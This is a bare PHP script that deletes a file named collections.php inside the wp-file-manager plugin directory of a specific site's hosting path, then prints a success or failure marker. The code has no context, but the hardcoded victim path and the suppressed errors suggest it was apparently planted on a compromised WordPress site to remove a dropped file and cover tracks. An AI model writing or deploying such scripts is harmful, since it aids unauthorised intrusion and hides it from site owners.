<?php    @unlink("/home/legalnestor/public_html/wp-content/plugins/wp-file-manager/lib/codemirror/mode/yacas/collections.php"); if (!file_exists("/home/legalnestor/public_html/wp-content/plugins/wp-file-manager/lib/codemirror/mode/yacas/collections.php")) {     die('!success!'); } die('!ended!');